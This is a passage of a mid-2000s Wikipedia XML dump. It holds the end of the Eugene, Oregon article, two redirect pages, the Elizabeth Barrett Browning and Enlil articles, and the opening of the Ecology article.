Cultural attractions in Eugene include the [[Hult Center|Hult Center for the Performing Arts]], [[The Shedd Institute]] [http://www.theshedd.org/], resident ballet, theater, opera and symphony, [[Bach Festival]] [http://bachfest.uoregon.edu], a [[historic district]], walking tours, 23 art galleries such as [[OPUS6IX]] and museums, including the The Science Factory Children's Museum &amp; Planetarium.

The nearest ski resort, [[Willamette Pass]] [http://www.willamettepass.com/], is one hour by car. On the way, along highway 58, is Eugene's reservoir
and lake district, the Oakridge mountain bike trails, hot springs, and the spectacular Fall Creek falls.  Eugene residents also frequent [http://www.hoodoo.com Hoodoo] and [[Mount Bachelor]] [http://www.mtbachelor.com] ski resorts. The [[Three Sisters Wilderness]] and the [[Oregon Dunes]] are just a short drive away.

The non-profit [[Saturday Market]] [http://www.eugenesaturdaymarket.org/] was the first &quot;Saturday Market&quot; in the US, starting in 1970, and since recreated in cities around the country. It is still the most radical in the country; only the farmers and craftspeople themselves can sell there.

===Libraries, museums, and art collections===
Eugene has several museums, including the [http://eugene-museums.com Oregon Air and Space Museum] at the airport, [http://eugene-museums.com Conger Street Clock Museum] in West Eugene, and the [http://eugene-museums.com Lane County Historical Museum,] downtown.

The largest library in Oregon is in Eugene, the [[Knight Library]] [http://libweb.uoregon.edu/], at the University. The [[Eugene Public Library]] [http://www.ci.eugene.or.us/library/] recently moved into a new, larger building downtown. It uses state-of-the-art technology such as an automated checking system, which sorts the books using [[RFID]] chips.

Over a dozen private art galleries are located in Eugene. The [[Maude Kerns Art Center]] [http://www.mkartcenter.org/] with its non-profit summer [[Art and the Vinyeard festival]] [http://www.artandthevineyard.org/], and the [[Lane Arts Council]] [http://www.lanearts.org/] help foster a thriving arts community. Eugene is also home to [[The Eugene Glass School]] [http://www.eugeneglassschool.org/], an art school featuring workshops with some of the most prestigous glass artists in the world in off-hand, lampworked, and fused glass.

===Annual cultural events and fairs===
The annual non-profit [[Oregon Country Fair]], which takes place in nearby [[Veneta, Oregon|Veneta]], is one of the largest volunteer events in the US, and one of the most successful. Its primitive ecotopian atmosphere is stunning. Perhaps the single event in the US that most resembles the [[World Social Forum]], is the [[Public Interest Environmental Law Conference]] [http://www.pielc.org/], an annual gathering of environmental advocates from around the world. Other local events include: [[Eugene Celebration]], [[Lane County Fair]], [[Asian Celebration]], and the [[Oregon Country Fair]].

===Performing arts===
Eugene is home to numerous cultural organizations, including the [[Eugene Symphony]] [http://www.eugenesymphony.org/] (Giancarlo Guerrero, Conductor), the [[Eugene Ballet]] [http://www.eugeneballet.org/] (Toni Pimble, Artistic Director), and the [[Eugene Opera]] [http://www.eugeneopera.com/]. [[Image:Eugenehotel.jpg|right|thumb|190px|''Eugene Hotel'']] Eugene is also home to a number of cultural events, including the world renowned [[Oregon Bach Festival]] [http://www.oregonbachfestival.com/] ([[Helmuth Rilling]], artistic director) and [[Oregon Festival of American Music]] [http://www.ofam.org/] (&quot;OFAM&quot;). Eugene has a number of performing arts venues, including the [[Hult Center|Hult Center for the Performing Arts]], [[The Shedd Institute| The John G. Shedd Institute for the Arts]] [http://www.theshedd.org/] (&quot;The Shedd&quot;), Beall Concert Hall on the University of Oregon campus, the [[McDonald Theater]] [http://www.mcdonaldtheatre.com/], and [[W.O.W. Hall]] [http://www.wowhall.org/], which is primarily a venue for alternative music.

Because of its status as a college town, Eugene has many music acts, especially of underground [[punk rock]] such as [[2Bucks Short]] and original independent artists such as [[Nero (band)|Nero]] and [[the Crash Engine]], although the city also boasts hip hop musicians [[The Phormula]], [[Undermind]], and [[Posse of Two]]. The Cherry Poppin' Daddies who made their start here in the mid-90's and then went national with their album of swing hits &quot;Zoot Suit Riot&quot;.. Also, Five Fingers of Funk with Mac Brown.

A surprising number of dedicated live theatres, all non-profit or governmental, are busy in Eugene: [[Willamette Repertory Theatre]] [http://www.willrep.org/], [[Lord Leebrick Theatre]] [http://www.lordleebrick.com/], [[The Very Little Theatre]] [http://www.thevlt.com/], [[Actors Caberet]] [http://actorscabaret.org/], [[LCC Theatre]] [http://www.lanecc.edu/perarts/theatre/], [[University Theatre]] [http://darkwing.uoregon.edu/~theatre/] etc.



===Cinema===
The film [[Animal House]] was filmed in Eugene and [[Cottage Grove, Oregon|Cottage Grove]].  [[John Belushi]] had the idea for the film [[The Blues Brothers]] during filming of Animal House when he happened to meet [[Curtis Salgado]] at the then Eugene Hotel. The &quot;Chicken Salad on Toast&quot; scene in the Jack Nicholson movie &quot;[[Five Easy Pieces]]&quot; was filmed at the Denny's restaurant at the southern I-5 freeway interchange (Glenwood exit).  In addition, Eugene is home to the Bijou Art Cinemas, an independent movie theater located in a building modeled after [[Spanish Colonial Revival Style architecture|Spanish Colonial Revival]] architectural style by the first dean of the [[University of Oregon]] School of Architecture in 1925.

===Media===
Some of the most familiar names in Public Radio come from the local NPR affiliate [http://www.klcc.org/ KLCC]. The Pacifica affiliate (airing Democracy Now! and FreeSpeech Radio News) is the [[University of Oregon]] student-run radio station, [http://www.kwvaradio.org/ KWVA].  Additionally, the community supports two other radio stations: [http://www.kwax.com/ KWAX] (classical) and [http://www.krvm.org/ KRVM] (alternative).

The Eugene-Springfield area is served by [[The Register-Guard]] [http://www.registerguard.com], a daily newspaper with a circulation of 70,108 Monday through Friday, 77,993 on Saturday,and 74,918 on Sunday. The Register-Guard is published by the Baker family of Eugene. Other newspapers serving the area include the [[Eugene Weekly]] [http://www.eugeneweekly.com] and the [[Oregon Daily Emerald]] [http://www.dailyemerald.com], the independent newspaper serving the University of Oregon campus.

Local television stations include [[KMTR]] ([[NBC]]), [[KVAL-TV|KVAL]] ([[CBS]]), and [[KEZI]] ([[American Broadcasting Company|ABC]]).

==Sports==
[[Image:preclassic.jpg|thumb|250px|Hayward Field]]
Most of Eugene's interest in sports surrounds the [[Oregon Ducks]], part of the [[Pacific 10 Conference]] (Pac 10). [[American football]] is especially popular, with intense rivalries between the [[Oregon State University]] [[Oregon State Beavers|Beavers]] and the [[University of Washington]] [[Washington Huskies|Huskies]]. With a [[seating capacity]] of 59,000, [[Autzen Stadium]] is home to Oregon Duck Football.  It is often considered one of the toughest places to play in all of college football: “Autzen’s 59,000 strong make the Big House [Michigan] collectively sound like a pathetic whimper. It’s louder than ‘The Swamp’ at Florida, ‘The Shoe’ in Columbus and ‘Death Valley’ at Louisiana State. Autzen Stadium is where great teams go to die.” — Michigan Daily, September 2003.

For nearly 40 years Eugene has been the &quot;Track Capital of the World&quot;. Oregon's most famous track alumnus is Steve Prefontaine, killed in a car crash in 1975. He has become a legendary figure among Eugene runners for his guts and lack of fear in races. Eugene's excellent jogging trails include Pre's Trail in Alton Baker Park, Rexius Trail, the Adidas Oregon Trail, and the Ridgeline Trail. Jogging was introduced to the US first in Eugene, in the sixties, by Bill Bowerman, who coached the champion University of Oregon track and cross country teams.  In 16 of 24 years at Oregon his track teams finished in the top ten at the Ncaa Chmapionships, with a dual meet record of 114-20.  They won four times and finished second twice.  Bowerman also invented the waffle running shoe in Eugene, and with U of O alumni Phil Knight founded shoe giant [[Nike, Inc.]] The Nike Store in Eugene includes a museum of this slice of track history. Eugene's miles of running trails, through its unusually large park system, are the most extensive in the US. There are dozens of running clubs here. The climate is cool temperate, good both for jogging and record-setting. Eugene is home to the University of Oregon's [[Hayward Field]] track, which hosts numerous collegiate and amateur track and field meets throughout the year, most notably the [[Prefontaine Classic]].  It was host to the [[2004 Junior Olympics]], and the 1972, 1976 and 1980 US Olympic Track and Field trials, and as recently announced, will be host to the 2008 trials.  Hayward Field will also be home of the 2006 Pacific-10 track and field championships.  A few feet from Hayward Field, the earth's oldest pairs of running shoes are on display, at the Museum of Natural History.

In [[November]] of [[2005]], Eugene was chosen by [[USA Track &amp; Field]] to host the [[2008]] [[U.S. Olympic Track &amp; Field Trials]], to be heald at Hayward  Field [[June 27]]-[[July 6]], 2008. Finalists of this competition of more than 1,000 athletes will go on to attend the [[2008 Summer Olympics]] in [[Beijing, China]]. The event is expected to be attended by around 350,000 spectators and reported by more than 1,000 members of the media [http://www.usatf.org/news/view.aspx?DUid=USATF_2005_10_14_22_17_56].

Eugene is also home to the [[Eugene Emeralds]], a Class A [[Minor-league baseball|minor-league baseball team]] that plays home games in Civic Stadium, and the Eugene Generals, a semi-pro hockey team.

==Infrastructure==
===Transportation===
[[Image:Eugenestationclipdude.jpg|thumb|250px|[[Lane Transit District|LTD]]'s Eugene Station]]
Eugene is the headquarters of the [[Lane Transit District]] (LTD), a [[public transportation]] agency formed in [[1970]]. LTD covers 240 square miles (620&amp;nbsp;km&amp;sup2;) of Lane County, including [[Creswell, Oregon|Creswell]], [[Junction City, Oregon|Junction City]] and [[Veneta, Oregon|Veneta]]. Operating more than 90 buses at the high activity time, LTD carries riders on 3.7 million trips every year. LTD's Eugene Station, downtown, covers nearly a city block, and is easily the busiest public plaza outside of the University. LTD is currently constructing a [[Bus Rapid Transit]] line between Eugene and Springfield, much of which will run in its own lane.  The [[Emerald Express]], as it is called, is scheduled to be up and running in fall, 2006.

Cycling is big in Eugene. Summertime events and festivals frequently have bike parking &quot;corrals&quot; that many times are filled to capacity by three hundred or more bikes. Many people commute to work by bicycle every month of the year. Numerous bike shops provide the finest rain gear products, running lights and everything a biker needs to ride and stay comfortable in heavy rain. Bike trails take commuting and recreational bikers along the Willamette River, past a scenic rose garden, along Amazon Creek, through the downtown, and through the University of Oregon campus. 

The [[Amtrak]] depot downtown was recently restored; it's the south terminus for two daily runs of the [[Amtrak Cascades]], and a stop along the route for the daily [[Coast Starlight]]. Air traffic is served by the [[Eugene Airport]], also known as [[Mahlon Sweet Field]], which is the fifth largest airport in the Northwest.

Highways traveling within and through Eugene include:

* [[Interstate 5]]: Interstate 5 forms much of the eastern city limits, forming a boundary between Eugene and Springfield. To the north, I-5 leads to the Willamette valley and [[Portland, Oregon|Portland]]. To the south, I-5 leads to [[Roseburg, Oregon|Roseburg]] and the southwestern portion of the state.
* [[Interstate 105 (Oregon)|Interstate 105]]/[[Oregon Highway 126]]: Oregon Highway 126 is routed along the Eugene-Springfield Highway, a limited access freeway. The Eugene portion of this highway begins at an interchange with Interstate 5 and ends two miles (3 km) west at a freeway terminus. This portion of Oregon Highway 126 is also signed Interstate 105, a spur route of Interstate 5. Oregon Highway 126 continues west, a portion shared with Oregon Highway 99, and continues west to [[Florence, Oregon|Florence]]. Eastward, Oregon Highway 126 crosses the Cascades and leads to central Oregon.
* [[Belt Line Road (Oregon)|Belt Line Road]]: Beltline Road is a limited-access freeway which runs along the northern edge of incorporated Eugene.
* [[Delta Highway (Eugene, Oregon)|Delta Highway]]: The Delta Highway forms a connector of less than 2 miles (3 km) between Interstate 105 and Beltline Road. 
* [[Oregon Highway 99]]: Oregon Highway 99 forks off Interstate 5 south of Eugene, and forms a major surface artery in Eugene. It continues north into the Willamette valley, parallel to I-5.

===Hospitals===
The Eugene/Springfield area is home to two major hospitals, [http://www.mckweb.com/ McKenzie-Willamette] and [http://www.peacehealth.org/Oregon/WhoWeAreSHMC.htm/ Sacred Heart Medical Center] (A hospital owned by PeaceHealth that is located in downtown Eugene next to the [[University of Oregon]] campus.)
Mckenzie/Willamette recently filed a lawsuit angainst PeaceHealth, claiming anti-trust violations on the part of the latter. PeaceHealth, who at the time was based in Eugene, lost the lawsuit. McKenzie-Willamette, which was at the time a small hospital based in Springfield, has gained thousands from the case. Both corporations are in the planning stages of constructing new facilities, with Peacehealth planning one in Springfield ([http://www.peacehealth.org/Oregon/News/Facilities/default.htm &quot;Riverbend&quot;] and Triad (now owner of Mckenzie-Willamette) planning one in north Eugene. Both sites are controversial, as critics prefer more urban locations instead of ones that supposedly encourage urban sprawl.

==Notable people from Eugene==
===Athletes===
* [[Danny Ainge]], North Eugene High School ([[1977]]), [[National Basketball Association|NBA]] player and coach, [[Major League Baseball|MLB]] player
* [[Joey Harrington]], University of Oregon ([[2002]]), [[National Football League|NFL]] quarterback
* [[Bill McChesney]], South Eugene High School ([[1977]]), [[1980]] Olympian
* [[Chris Miller]]. [[Sheldon High School]] (([[1983]]), [[National Football League|NFL]] quarterback
* [[Steve Prefontaine]], [[University of Oregon]] ([[1973]]), Olympic runner
* [[Quentin Mikeel]], Willamette High School, [[National Football League|NFL]] Cornerback
* [[Kailee Wong]], North Eugene High School, [[National Football League|NFL]] Linebacker
* [[Ahmad Rashad]] (formerly Bobby Moore), Football player and sportscaster
* [[Harold Reynolds]], Former [[Major League Baseball|MLB]] Player, ESPN Baseball Analyst
* [[Luke Jackson]], Creswell High School, University of Oregon, [[National Basketball Association|NBA]] player
* [[Nate Jaqua]], South Eugene High School ([[2000]]), Chicago Fire ([[MLS]]) forward
*[[Todd Christensen]], Sheldon High School ([[1974]]), Los Angeles Raiders [[National Football League|NFL]] tight end
* [[Wade Bell]], 4-Minute-Mile runner, 1968 Olympian

===Citizens===
* [[Kate Wilhelm]], author
* [[Phil Knight]], co-founder of [[Nike, Inc.]]
* [[Damon Knight]], author
* [[Richard Brautigan]], author
* [[Grace Llewellyn]], author ''The Teenage Liberation Handbook''
* [[Amit Goswami]], physicist, author
* [[Elizabeth Engstrom (Cratty)]], teacher, author
* [[Wayne Morse]], U.S. Senator
* [[Peter DeFazio]], U.S. Representative (actually lives in Springfield)
* [[Tim Hardin]], musician
* [[David Ogden Stiers]], actor on the television series [[M*A*S*H]] was in the first graduating class of North Eugene High School (1960)

== External links ==
*[http://www.eugene-or.gov/ City of Eugene]
*[http://www.el.com/to/eugene/ Welcome to Eugene]
*[http://www.planeteugene.com/ Planet Eugene]
*[http://www.conger-street-clock-museum.com/ Conger Street Clock Museum]
*[http://www.eugeneweekly.com/ The Eugene Weekly]
*[http://www.registerguard.com/ The Register Guard]
*[http://www.dailyemerald.com/ The Daily Emerald]
*[http://www.oregonvoice.com/ The Oregon Voice]
*[http://www.eugenelive.net/ EugeneLive]
*[http://www.kmtr.com/ KMTR NewsSource 16]
*[http://www.kezi.com/ KEZI Chanell 9]
*[http://www.hultcenter.com/ The Hult Center for Performing Arts]
*[http://www.eugenefreerecycle.com/ Got It Free? I Did at EugeneFreeRecycle.com]
*[http://www.uoregon.edu/ University of Oregon]
*[http://www.ci.eugene.or.us/Airport/ Eugene Airport]
{{Mapit-US-cityscale|44.057663|-123.110345}}

{{Oregon}}

[[Category:County seats in Oregon]]
[[Category:Cities in Oregon]]
[[Category:Lane County, Oregon]]
[[Category:University towns]]
[[Category:Eugene, Oregon|*]]

[[de:Eugene]]
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[[sv:Eugene]]</text>
    </revision>
  </page>
  <page>
    <title>Early Music</title>
    <id>9624</id>
    <revision>
      <id>15907497</id>
      <timestamp>2002-06-12T19:29:09Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[early music]]</comment>
      <text xml:space="preserve">#REDIRECT [[early music]]</text>
    </revision>
  </page>
  <page>
    <title>Eigenstate</title>
    <id>9625</id>
    <revision>
      <id>24986305</id>
      <timestamp>2005-10-07T16:31:50Z</timestamp>
      <contributor>
        <username>SeventyThree</username>
        <id>183256</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Eigenvalue, eigenvector and eigenspace#Schrödinger equation]]</text>
    </revision>
  </page>
  <page>
    <title>Elizabeth Barrett Browning</title>
    <id>9627</id>
    <revision>
      <id>41475932</id>
      <timestamp>2006-02-27T16:38:48Z</timestamp>
      <contributor>
        <username>Last Malthusian</username>
        <id>414388</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Elizabeth Barrett Browning - Project Gutenberg eText 16786.jpg|thumb|Elizabeth Barrett Browning]]
'''Elizabeth Barrett Browning (Moulton)''' ([[March 6]], [[1806]] &amp;ndash; [[June 29]], [[1861]]) was a member of the [[Barrett family]] and one of the most respected [[poet]]s of the [[Victorian era]].

She was born at Cohnadatia Hall (now demolished) near [[Durham, England]] in 1806, the daughter of Creole plantation owner Edward Barrett, who assumed the last name on succeeding to the estates of his grandfather in [[Jamaica]]. She was christened in Kelloe church, where a plaque describes her as 'a great poetess, a noble woman, a devoted wife'. Her mother was Mary Graham-Clarke of a wealthy Newcastle family. She spent her youth at Hope End, near Great Malvern. While still a child she showed her gift, and her father published 50 copies of a juvenile epic, on the Battle of Marathon. She was educated at home, but owed her profound knowledge of Greek and much mental stimulus to her early friendship with the blind scholar, Hugh Stuart Boyd, who was a neighbour.   In her early teens, Elizabeth contracted a lung complaint, possibly [[tuberculosis]], although the exact nature has been the subject of much speculation, and was treated as an invalid by her parents.  For a girl of that time, she was well-educated, having been allowed to attend lessons with her brother's tutor. She published her first poem, anonymously, at the age of fourteen.  In 1826 she published anonymously ''An Essay on Mind and Other Poems''.  

Shortly afterwards the abolition of slavery, of which he had been a disinterested supporter, considerably reduced Mr. Barrett's means: he accordingly disposed of his estate and removed with his family first to Sidmouth and afterwards to London. At the former Miss Barrett wrote ''Prometheus Bound'' (1835). After her removal to London she fell into delicate health, her lungs being threatened. This did not, however, interfere with her literary labours, and she contributed to various periodicals &quot;The Romaunt of Margaret&quot;, &quot;The Romaunt of the Page&quot;, &quot;The Poet's Vow&quot;, and other pieces. In 1838 appeared ''The Seraphim and Other Poems'' (including &quot;Cowper's Grave&quot;). Shortly thereafter the death, by drowning, of her favourite brother gave a serious shock to her already fragile health, and for a time she hovered between life and death. Eventually, however, she regained strength, and meanwhile her fame was growing. The publishing about 1841 of &quot;The Cry of the Children&quot; gave it a great impulse, and about the same time she contributed some critical papers in prose to R.H. Horne's ''New Spirit of the Age''. In 1844 she published two volumes of ''Poems'', which comprised &quot;The Drama of Exile&quot;, &quot;Vision of Poets&quot;, and &quot;Lady Geraldine's Courtship&quot;. In 1845 she met for the first time her future husband, [[Robert Browning]]. Their courtship and marriage, owing to her delicate health and the extraordinary objections entertained by Mr. Barrett to the marriage of any of his children, were carried out under somewhat peculiar and romantic circumstances. After a private marriage and a secret departure from her home, she accompanied her husband to Italy, which became her home almost continuously until her death, and with the political aspirations of which she and her husband both thoroughly identified themselves. The union proved one of unalloyed happiness to both, though it was never forgiven by Mr. Barrett. In her new circumstances her strength greatly increased. Her husband and she settled in [[Florence]], and there she wrote ''Casa Guidi Windows'' (1851)—by many considered her strongest work—under the inspiration of the Tuscan struggle for liberty. ''Aurora Leigh'', her largest, and perhaps the most popular of her longer poems, appeared in 1856. In 1850 ''The Sonnets from the Portuguese''—the history of her own love-story, thinly disguised by its title—had appeared. In 1860 she issued a collected edition of her poems under the title, ''Poems before Congress''. Soon thereafter her health underwent a change for the worse; she gradually lost strength, and died on [[June 29]], [[1861]]. She is buried in Florence in the [[English Cemetery, Florence]].

Mrs. Browning is generally considered the greatest of English poetesses. Her works are full of tender and delicate, but also of strong and deep, thought. Her own sufferings, combined with her moral and intellectual strength, made her the champion of the suffering and oppressed wherever she found them. Her gift was essentially lyrical, though much of her work was not so in form. Her weak points are the lack of compression, an occasional somewhat obtrusive mannerism, and frequent failure both in metre and rhyme. Though not nearly the equal of her husband in force of intellect and the higher qualities of the poet, her works had, as might be expected on a comparison of their respective subjects and styles, a much earlier and wider acceptance with the general public. Mrs. Browning was a woman of singular nobility and charm, and though not beautiful, was remarkably attractive. [[Mary Russell Mitford]] thus describes her as a young woman: &quot;A slight, delicate figure, with a shower of dark curls falling on each side of a most expressive face; large, tender eyes, richly fringed by dark eyelashes, and a smile like a sunbeam.&quot;  Anne Thackery described her as: &quot;Very small and brown&quot; with big, exotic eyes and an overgenerous mouth.

Her most famous work is ''[[Sonnets from the Portuguese]]'', a collection of love sonnets written by Browning but disguised as a translation.  By far the most famous poem from this collection, with one of the most famous opening lines in the English language, is number 43:
[[image:Elizabeth_Barrett_Browning.jpg|framed|Elizabeth Barrett Browning]]
:How do I love thee? Let me count the ways.
:I love thee to the depth and breadth and height
:My soul can reach, when feeling out of sight
:For the ends of Being and ideal Grace.
:I love thee to the level of everyday's
:Most quiet need, by sun and candle-light.
:I love thee freely, as men strive for Right;
:I love thee purely, as they turn from Praise.
:I love thee with the passion put to use
:In my old griefs, and with my childhood's faith.
:I love thee with a love I seemed to lose
:With my lost saints!---I love thee with the breath,
:Smiles, tears, of all my life!---and, if God choose,
:I shall but love thee better after death.

==See also==
*[[Flush: A Biography]]

==External links==
{{wikiquote}}
*[http://us.imdb.com/title/tt0024865 ''The Barretts of Wimpole Street''] at [[The Internet Movie Database|IMDb]]
*[[Project Gutenberg]] e-text of ''[http://www.gutenberg.net/etext/2002 Sonnets from the Portuguese]''
*{{gutenberg author | id=Elizabeth_Barrett_Browning | name=Elizabeth Barrett Browning}}
*[http://www.quotesandpoem.com/poems/PoetsAndPoems/Browning Poetry, Letters and Quotes by Elizabeth Barrett Browning]
&lt;BR&gt;

[[Category:1806 births|Barrett Browning, Elizabeth]]
[[Category:1861 deaths|Barrett Browning, Elizabeth]]
[[Category:Autodidacts|Barrett Browning, Elizabeth]]
[[Category:English poets|Barrett Browning, Elizabeth]]
[[Category:Women of the Victorian era|Barrett Browning, Elizabeth]]
[[Category:Women poets|Barrett Browning, Elizabeth]]

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    </revision>
  </page>
  <page>
    <title>Enlil</title>
    <id>9628</id>
    <revision>
      <id>40620093</id>
      <timestamp>2006-02-21T21:53:36Z</timestamp>
      <contributor>
        <username>Stewartadcock</username>
        <id>29890</id>
      </contributor>
      <comment>Minor changes to text to improve readability.</comment>
      <text xml:space="preserve">{{Mesopotamian myth (7)}}

'''Enlil''' was the name of a chief deity in [[Babylon]]ian religion, perhaps pronounced and sometimes rendered in translations as '''Ellil''' in later [[Akkadian language|Akkadian]]. The name is of [[Sumerian]] origin and has been believed to mean 'Lord Wind' though a more literal interpretation is 'Lord of the Command'.

Enlil was the god of wind, or the sky between earth and heaven.  One story has him originate as the exhausted breath of [[An (mythology)|An]] (God of the heavens) and Ki (goddess of the Earth) after sexual union. Another is that he and his sister [[Ninhursag]]/Ninmah/Aruru were children of an obscure god known as Enki 'Lord Earth' (not the famous [[Enki]]) borne by Ninki 'Lady Earth'.

When Enlil was a young god, he was banished from [[Dilmun]], home of the gods, to [[Kur]], the underworld for raping a young girl named [[Ninlil]].  Ninlil followed him to the underworld where she bore his first child, the moon god [[Sin (mythology)|Sin]].  After fathering three more underworld deities, Enlil was allowed to return to Dilmun.

Enlil was also known as the inventor of the pickaxe/hoe (favorite tool of the Sumerians) and caused plants to grow. He was in possession of the holy [[Me (mythology)|Me]], until he gave them to [[Enki]] for safe keeping, who summarily lost them to [[Inanna]] in a drunken stupor.

Enlil's relation to An 'Sky', in theory the supreme god of the Sumerian pantheon, was somewhat like that of a Frankish mayor of the palace compared to the king, or that of a Japanese shogun compared to the emperor, or to a prime minister in a modern constitutional monarchy compared to the supposed monarch. While An was in name ruler in the highest heavens, it was Enlil who mostly did the actual ruling over the world.

By his wife [[Ninlil]] or Sud, Enlil was father of the moon god [[Nanna]] (in Akkadian [[Sin (mythology)|Sin]]) and of [[Ninurta]] (also called Ningirsu). Enlil is sometimes father of [[Nergal]], of [[Nisaba]] the goddess of grain, of [[Pabilsag]] who is sometimes equated with Ninurta, and sometimes of [[Enbilulu]]. By [[Ereshkigal]] Enlil was father of [[Namtar]]. 

Enlil is associated with the ancient city of [[Nippur]], and since Enlu with the determinative for &quot;land&quot; or &quot;district&quot; is a common method of writing the name of the city, it follows, apart from other evidence, that Enlil was originally the patron deity of [[Nippur]].

At a very early period&amp;mdash;prior to [[3000 BC]]&amp;mdash;Nippur had become the centre of a political district of considerable extent. Inscriptions found at Nippur, where extensive excavations were carried on during [[1888]]&amp;ndash;[[1900]] by Messrs Peters and Haynes, under the auspices of the [[University of Pennsylvania]], show that Enlil was the head of an extensive [[Babylonian mythology|pantheon]]. Among the titles accorded to him are &quot;king of lands,&quot; &quot;king of heaven and earth&quot; and &quot;father of the gods&quot;.

His chief temple at Nippur was known as [[Ekur]], signifying 'House of the mountain', and such was the sanctity acquired by this edifice that Babylonian and [[Assyria]]n rulers, down to the latest days, vied with one another in embellishing and restoring Enlil's seat of worship, and the name Ekur became the designation of a temple in general.

Grouped around the main sanctuary, there arose temples and chapels to the gods and goddesses who formed his court, so that Ekur became the name for an entire sacred precinct in the city of Nippur. The name &quot;mountain house&quot; suggests a lofty structure and was perhaps the designation originally of the staged tower at Nippur, built in imitation of a mountain, with the sacred shrine of the god on the top. 

When, with the political rise of Babylon as the centre of a great empire, Nippur yielded its prerogatives to the city over which [[Marduk]] presided, the attributes and the titles of Enlil were largely transferred to Marduk. But Enlil did not, however, entirely lose his right to have any considerable political importance, while in addition the doctrine of a triad of gods symbolizing the three divisions&amp;mdash;heavens, earth and water&amp;mdash;assured to Enlil, to whom the earth was assigned as his province, his place in the religious system.

It was no doubt in part Enlil's position as the second figure of the triad that enabled him to survive the political eclipse of Nippur and made his sanctuary a place of pilgrimage to which Assyrian kings down to the days of [[Assur-bani-pal]] paid their homage equally with Babylonian rulers.

The Sumerian ideogram for Enlil or Ellil was formerly incorrectly read as ''Bel'' by scholars, but in fact Enlil was not especially given the title ''Bel'' 'Lord' more than many other gods. The Babylonian god [[Marduk]] is mostly the god persistently called Bel in late Assyrian and Babylonian inscriptions and it is Marduk that mostly appears in Greek and Latin texts as Belos or Belus. References in older literature to Enlil as the old Bel and Marduk as the young Bel derive from this error in reading.

''Portions of this entry are from the [[1911 Encyclopædia Britannica]] article '''Bel'''.''

==External links==

* ETCSL &quot;Enlil and Ninlil&quot; and &quot;Enlil and Sud&quot;: [http://www-etcsl.orient.ox.ac.uk/cgi-bin/etcslmac.cgi?text=c.1.2*# Unicode] and [http://www-etcsl.orient.ox.ac.uk/cgi-bin/etcslmac.cgi?text=c.1.2*&amp;charenc=j# ASCII].
* [http://www.gatewaystobabylon.com/myths/texts/enlil/enlilninlil.htm Gateway to Babylon: &quot;Enlil and Ninlil&quot;, trans. Thorkild Jacobsen].
* ETCSL &quot;Enlil in the Ekur&quot;: [http://www-etcsl.orient.ox.ac.uk/cgi-bin/etcslmac.cgi?text=c.4.05*# Unicode] and [http://www-etcsl.orient.ox.ac.uk/cgi-bin/etcslmac.cgi?text=c.4.05*&amp;charenc=j# ASCII].
* [http://college.hmco.com/history/west/mosaic/chapter1/source118.html Houghton-Mifflin: A Hymn to the Sky-God Enlil].
* &quot;The Song of the Hoe&quot; in ETCSL&amp;mdash;Songs, elegies and related compositions: [http://www-etcsl.orient.ox.ac.uk/cgi-bin/etcslmac.cgi?text=c.5.5*# Unicode] and [http://www-etcsl.orient.ox.ac.uk/cgi-bin/etcslmac.cgi?text=c.5.5*&amp;charenc=j# ASCII].

[[Category:Akkadian gods]]
[[Category:Sumerian mythology]]
[[Category:Sky and weather gods]]

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  </page>
  <page>
    <title>Ecology</title>
    <id>9630</id>
    <revision>
      <id>42027052</id>
      <timestamp>2006-03-03T08:20:21Z</timestamp>
      <contributor>
        <username>Alan Liefting</username>
        <id>36352</id>
      </contributor>
      <minor />
      <comment>rm inapprop environmental science template</comment>
      <text xml:space="preserve">{{dablink|For the journal see [[Ecology (journal)]].}}
{{dablink|The word &quot;ecology&quot; is often used in common parlance as a synonym for the [[natural environment]] or [[environmentalism]].}}

[[Image:The Earth seen from Apollo 17.jpg|thumb|right|250px|'''Ecology''' is essentially the study of the workings of the planet [[Earth]].]]

'''Ecology''', or '''ecological science''', is the scientific study of the distribution and abundance of [[life|living organisms]] and how these properties are affected by [[interaction]]s between the organisms and their [[environment]].  The environment of an organism includes both the physical properties, which can be described as the sum of local abiotic factors like [[climate]] and [[geology]], as well as the other organisms that share its [[Habitat (ecology)|habitat]].  The term ''oekologie'' was coined in [[1866]] by the German biologist [[Ernst Haeckel]]; the word is derived from the [[Greek language|Greek]] ''oikos'' (&quot;household&quot;) and ''logos'' (&quot;study&quot;)&amp;ndash;therefore, &quot;ecology&quot; means the &quot;study of the household of nature&quot;.

== Scope ==
Ecology is usually considered a branch of [[biology]], the general science that studies living [[organism]]s. Organisms can be studied at many different levels, from [[proteins]] and [[nucleic acid]]s (in [[biochemistry]] and [[molecular biology]]), to [[cell (biology)|cells]] (in [[cellular biology]]), to individuals (in [[botany]], [[zoology]], and other similar disciplines), and finally at the level of [[population]]s, communities, and [[ecosystem]]s, to the [[biosphere]] as a whole; these latter strata are the primary subjects of ecological inquiries.  Ecology is a [[Interdisciplinary|multi-disciplinary]] science. Because of its focus on the higher levels of the organization of life on earth and on the interrelations between organisms and their [[environment]], ecology draws heavily on many other branches of science, especially [[geology]] and [[geography]], [[meteorology]], [[pedology (soil study)|pedology]], [[chemistry]], and [[physics]]. Thus, ecology is said to be a [[holistic science]], one that over-arches older disciplines such as biology which in this view become sub-disciplines contributing to ecological knowledge.

Agriculture, fisheries, forestry, medicine and urban development are among human activities that would fall within Krebbs' (1972: 4) explanation of his definition of ecology: &quot;where organisms are found, how many occur there, and why&quot;.

As a scientific discipline, ecology does not dictate what is &quot;right&quot; or &quot;wrong&quot;. However, ecological knowledge such as the quantification of [[biodiversity]] and [[population dynamics]] have provided a scientific basis for expressing the goals of [[environmentalism]] and evaluating its goals and policies. Additionally, a [[holism|holistic view]] of nature is stressed in both ecology and environmentalism.

Consider the ways an ecologist might approach studying the life of honeybees:  
* the behavioral relationship between individuals of a [[species]] is behavorial ecology &amp;mdash; for example, the study of the [[queen bee]], and how she relates to the worker [[bee]]s and the [[drone (bee)|drones]].

* The organized activity of a species is community ecology; for example, the activity of bees assures the [[pollination]] of [[flowering plant]]s. Bee hives additionally produce [[honey]] which is consumed by still other species, such as [[bear]]s.
* The relationship between the environment and a species is environmental ecology &amp;mdash; for example, the consequences of environmental change on bee activity. Bees may die out due to environmental changes (see [[pollinator decline]]). The environment simultaneously affects and is a consequence of this activity and is thus intertwined with the survival of the species.

=== Disciplines of ecology ===
: ''Main article: [[Ecology (disciplines)|Disciplines of ecology]]''

